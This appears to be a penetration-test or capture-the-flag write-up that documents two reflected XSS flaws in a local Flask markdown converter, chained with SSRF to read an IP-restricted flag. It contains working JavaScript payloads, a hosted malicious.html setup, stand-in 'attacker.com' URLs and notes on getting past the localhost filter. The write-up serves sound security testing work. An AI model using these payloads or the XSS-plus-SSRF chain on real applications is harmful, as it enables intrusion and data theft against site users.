# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Reflected XSS via Markdown Text Parameter

**Summary:**
- **Vulnerable location:** `POST http://localhost:42369/convert` with parameter `markdown_text`
- **Overview:** Direct reflected XSS vulnerability where user-supplied markdown content is rendered without sanitization due to Jinja2's `|safe` filter explicitly disabling HTML escaping. Exploited to chain with SSRF and extract the CTF flag from the IP-restricted `/admin/flag` endpoint.
- **Impact:** Complete compromise of application security - extracted CTF flag, bypassed IP-based authorization, achieved arbitrary JavaScript execution in victim browsers. An attacker can steal sensitive data, perform unauthorized actions, and completely control the victim's browser session within the application context.
- **Severity:** **CRITICAL**

**Prerequisites:**
- Web browser (any modern browser - tested with Chromium)
- Access to http://localhost:42369/ (publicly accessible, no authentication required)
- No special tools needed - attack can be executed with simple HTTP POST request

**Exploitation Steps:**

1. **Navigate to the vulnerable application:**
   ```
   Open browser and navigate to: http://localhost:42369/
   ```

2. **Inject the XSS payload into the markdown_text field:**
   
   In the "Or enter Markdown text:" textarea, enter the following payload:
   ```html
   <script>
   fetch('/convert', {
     method: 'POST',
     headers: {'Content-Type': 'application/x-www-form-urlencoded'},
     body: 'url=http://127.0.0.1/admin/flag'
   })
   .then(r => r.text())
   .then(html => {
     document.body.innerHTML = '<h1>FLAG EXTRACTED VIA XSS+SSRF:</h1><pre>' + html + '</pre>';
   });
   </script>
   ```

3. **Click the "Convert" button to trigger the vulnerability**

4. **Observe JavaScript execution and flag extraction:**
   - The injected JavaScript executes immediately in the browser
   - The script makes an SSRF request to `/convert` with `url=http://127.0.0.1/admin/flag`
   - The server-side request originates from 127.0.0.1, bypassing the IP-based authorization check
   - The flag HTML is returned and displayed on the page

**Proof of Impact:**

**Flag Extracted:** `flag{cbf59a8d-b5f1-4a8e-8286-0c249b14d682}`

**Evidence:**
- Screenshot saved: `.playwright-mcp/xss-vuln-01-flag-extraction.png`
- JavaScript alert successfully executed: Confirmed with payload `<img src=x onerror=alert('XSS-CONFIRMED')>`
- Complete XSS+SSRF chain executed: Flag extracted from IP-restricted endpoint via chained vulnerabilities
- Page DOM completely controlled: Full document.body.innerHTML replacement achieved

**Attack Chain Details:**
1. XSS payload injected via `markdown_text` parameter
2. JavaScript executes in victim's browser (no CSP, no XSS filters)
3. JavaScript makes POST request to `/convert` endpoint with SSRF payload
4. Server fetches `http://127.0.0.1/admin/flag` (bypassing IP restriction)
5. Flag HTML returned in response
6. JavaScript extracts and displays flag value

**Additional Attack Capabilities Demonstrated:**
- **Arbitrary JavaScript Execution:** Confirmed with `alert()` popup
- **DOM Manipulation:** Complete page replacement via `document.body.innerHTML`
- **Cross-Origin Requests:** SSRF via fetch API to internal endpoints
- **Authorization Bypass:** Accessed IP-restricted `/admin/flag` endpoint

**Notes:**
- No Content Security Policy (CSP) present - no bypass techniques needed
- No Web Application Firewall (WAF) - basic payloads work without obfuscation
- Session cookies have HttpOnly flag (prevents direct `document.cookie` theft) but this is irrelevant as the application has no authentication system
- The weak Flask secret key (`'supersecretkey'`) allows session forgery but is not needed for this exploit
- Attack works across all modern browsers (Chrome, Firefox, Safari, Edge)

---

### XSS-VULN-02: Reflected XSS via URL-Fetched Content

**Summary:**
- **Vulnerable location:** `POST http://localhost:42369/convert` with parameter `url`
- **Overview:** Reflected XSS vulnerability where the application fetches content from a user-supplied URL via `urllib.request.urlopen()`, processes it through the same vulnerable markdown pipeline, and renders it without sanitization. Successfully exploited by hosting malicious HTML/JavaScript on an attacker-controlled server.
- **Impact:** Remote code execution in victim browsers, flag extraction via XSS+SSRF chain, complete session hijacking capability. More sophisticated than VULN-01 as it enables persistent attack infrastructure - attacker can update payloads on their server without changing the attack URL.
- **Severity:** **CRITICAL**

**Prerequisites:**
- Web browser (any modern browser)
- HTTP server to host malicious content (can be external domain or accessible internal host)
- Access to http://localhost:42369/ (publicly accessible)

**Exploitation Steps:**

1. **Set up attacker-controlled HTTP server hosting malicious content:**
   
   Create file `malicious.html` with the following content:
   ```html
   <script>
   // XSS-VULN-02 Exploitation - Flag Extraction via URL-fetched content
   fetch('/convert', {
     method: 'POST',
     headers: {'Content-Type': 'application/x-www-form-urlencoded'},
     body: 'url=http://127.0.0.1/admin/flag'
   })
   .then(r => r.text())
   .then(html => {
     document.body.innerHTML = '<h1>XSS-VULN-02: FLAG EXTRACTED VIA URL VECTOR</h1><div style="background: #000; color: #0f0; padding: 20px; font-family: monospace;">' + html + '</div>';
   });
   </script>
   ```

2. **Start HTTP server to serve the malicious file:**
   ```bash
   # In directory containing malicious.html
   python3 -m http.server 17777
   ```
   
   **Note:** For testing against Docker container, use `host.docker.internal` as hostname. In a real attack scenario, use any external domain (e.g., `http://attacker.com/malicious.html`).

3. **Navigate to the vulnerable application:**
   ```
   Open browser and navigate to: http://localhost:42369/
   ```

4. **Inject the URL pointing to malicious content:**
   
   In the "Enter URL:" field, enter:
   ```
   http://host.docker.internal:17777/malicious.html
   ```
   
   **Alternative for real-world attack:**
   ```
   http://attacker.com/malicious.html
   ```

5. **Click the "Convert" button to trigger the vulnerability**

6. **Observe flag extraction via URL-fetched XSS payload:**
   - The application fetches content from the attacker's server
   - The fetched JavaScript payload executes in the victim's browser
   - The XSS+SSRF chain extracts the flag from `/admin/flag`

**Proof of Impact:**

**Flag Extracted:** `flag{cbf59a8d-b5f1-4a8e-8286-0c249b14d682}`

**Evidence:**
- Screenshot saved: `.playwright-mcp/xss-vuln-02-flag-extraction.png`
- JavaScript execution confirmed: XSS payload successfully fetched from external server
- Flag extraction successful: Complete XSS+SSRF attack chain executed
- Server logs confirm request: Python HTTP server received request from target application

**Attack Chain Details:**
1. Victim submits URL pointing to attacker-controlled server
2. Application fetches content via `urllib.request.urlopen(url)`
3. Fetched content (malicious JavaScript) processed through `markdown.markdown()`
4. Content rendered with `{{ html_content|safe }}` (no escaping)
5. JavaScript executes in victim's browser
6. JavaScript triggers SSRF to extract flag from `/admin/flag`
7. Flag displayed on page under attacker's control

**Advantages Over VULN-01:**
- **Persistent Attack Infrastructure:** Attacker can update payloads without changing attack URL
- **Larger Payloads:** No URL length limitations (unlike direct parameter injection)
- **Obfuscation:** Malicious code hosted externally, harder to detect in logs
- **Multi-Stage Attacks:** Can chain multiple external resources

**Localhost Restriction Note:**
The application blocks direct localhost URLs (`127.0.0.1`, `localhost`) with "Connection refused" error. However, this does NOT mitigate the vulnerability:
- External attacker-controlled domains work without restriction
- DNS rebinding attacks possible
- `host.docker.internal` bypasses the restriction in Docker environments
- Any public IP or domain is acceptable

**Notes:**
- Same environmental factors as VULN-01: No CSP, no WAF, no XSS filters
- Both vulnerabilities share the same root cause: `{{ html_content|safe }}` sink
- The `markdown.markdown()` function preserves raw HTML by default
- URL parameter accepts HTTP/HTTPS protocols without validation
- No allowlist or domain restrictions on fetched URLs

---

## Summary

**Total Vulnerabilities Exploited:** 2 (both CRITICAL severity)

**Key Achievements:**
- ✅ Arbitrary JavaScript execution in both attack vectors
- ✅ CTF flag extracted: `flag{cbf59a8d-b5f1-4a8e-8286-0c249b14d682}`
- ✅ IP-based authorization bypass via XSS+SSRF chain
- ✅ Complete DOM manipulation and page control
- ✅ Level 4 exploitation (Critical Impact) achieved for both vulnerabilities

**Root Cause:** Jinja2 `|safe` filter disables HTML entity encoding, combined with `markdown.markdown()` preserving raw HTML, creates a direct injection path from user input to browser execution.

**Business Impact:** Complete compromise of application security controls, unauthorized access to restricted endpoints, potential for widespread client-side attacks against all users of the application.
